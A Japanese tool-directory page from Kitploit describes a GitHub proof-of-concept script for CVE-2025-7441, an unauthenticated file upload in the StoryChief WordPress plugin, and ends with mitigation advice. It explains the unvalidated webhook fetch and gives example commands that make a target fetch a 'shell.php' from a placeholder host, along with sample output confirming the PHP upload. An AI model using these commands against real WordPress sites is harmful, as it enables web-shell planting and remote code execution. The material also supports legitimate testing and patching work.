Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - 認証されていない任意のファイルアップロード | Kitploit
ツール/GitHubGitHub/anothersec/cve-2025-7441
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubanothersec/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - 認証されていない任意のファイルアップロード

リポジトリを見る
312ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-7441

CVE-2025-7441 StoryChief 1.0.42 - 任意のファイルアップロード

脆弱性 (CVE-2025-7441) - 技術概要

  • 影響を受けるコンポーネント: StoryChief WordPress プラグイン
  • 脆弱性の種類: 認証不要の任意ファイルアップロード
  • 脆弱なエンドポイント: /wp-json/storychief/webhook
  • 根本原因: プラグインは data.featured_image.data.sizes.full に URL を含む JSON Webhook ペイロードを受け入れ、その URL に対して十分な検証(ドメイン許可リストの欠如、不十分な MIME/コンテンツチェック、ファイルが公開アップロードパスに保存される)を行わずにサーバーサイドの HTTP GET を実行します。
  • 影響: 認証されていない攻撃者は、サーバーに攻撃者が制御するコンテンツを取得させ、WordPress のアップロードディレクトリ(例: wp-content/uploads/YYYY/MM/<filename>)に永続化させることができます。アップロードされたファイルがサーバーによって解釈/実行される場合(例: PHP ファイルでサーバーがそこで PHP 実行を許可している場合)、リモートコード実行 (RCE) およびサイト全体の侵害につながります。
  • CVSS(例): 9.8(クリティカル)— 重大度はホスティング構成と実行許可に依存します。

この PoC について (CVE-2025-7441)

このスクリプトは、脆弱性の典型的な悪用検証フローを自動化します:

  1. data.featured_image.data.sizes.full にリモートファイルの URL を配置する Webhook JSON ペイロードを構築します。
  2. ペイロードに対して HMAC-SHA256 署名を計算し(スクリプトはデフォルトで空のキーを使用)、meta.mac に格納します。
  3. ペイロードを <site_url>/wp-json/storychief/webhook に POST します。
  4. 取得したファイルが期待されるアップロードパスに存在するか確認します:

<site_url>/wp-content/uploads///

ファイルが HTTP 200 で応答した場合、スクリプトは成功を報告します。それ以外の場合は <failed to upload> を出力します。

このスクリプトには以下のフラグが含まれています: --file-url、--verbose、--use-curl、--retries。

使用方法

python3 CVE-2025-7441.py <site_url>

位置引数

  • <site_url> — ターゲットサイトのベース URL。例: http://127.0.0.1:5000/ または https://target.example/。

フラグ

  • --file-url — PoC が使用するデフォルトのリモートファイル URL を上書きします。デフォルト: ハードコードされたサンプルの生の GitHub URL。例: --file-url https://127.0.0.1:5000/zip.php
  • --verbose — 詳細出力を有効にします(リクエスト/レスポンスの詳細と確認の進行状況を表示)。
  • --use-curl — POST の配信に curl サブプロセスを使用します(フォールバックモード)。curl がインストールされている必要があります。
  • --retries — 期待されるアップロードパスにファイルが存在するか確認する試行回数。デフォルト: 1。例: --retries 5 で複数回ポーリングします。

コマンド例

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/

カスタムリモートファイル URL を指定する

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/  --file-url https://example.com/shell.php

詳細出力と複数回の確認

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5

curl を使用して POST を配信する

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose

出力:

root@kitploit:~
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php

緩和策

緩和策と修正 短期的対策:

  • 利用可能になり次第、StoryChief を修正版にアップグレードする。
  • WAF またはサーバールールで /wp-json/storychief/webhook をブロックまたは制限する。
  • 信頼できないドメインへのサーバーからの送信フェッチまたはエグレスを制限する。

開発者向けガイダンス:

  • リモートフェッチ後にファイルの種類と内容を検証する。安全なパーサーを使用して画像を検証し、無効なファイルを拒否する。
  • サーバーサイドのダウンロードやファイル作成を引き起こす Webhook には認証を要求する。
  • HMAC/署名検証が実装および適用されていることを確認する。
  • アップロードされたコンテンツをウェブルートの外に保存するか、wp-content/uploads でのアップロードファイルの実行を無効にする。
ツールをダウンロード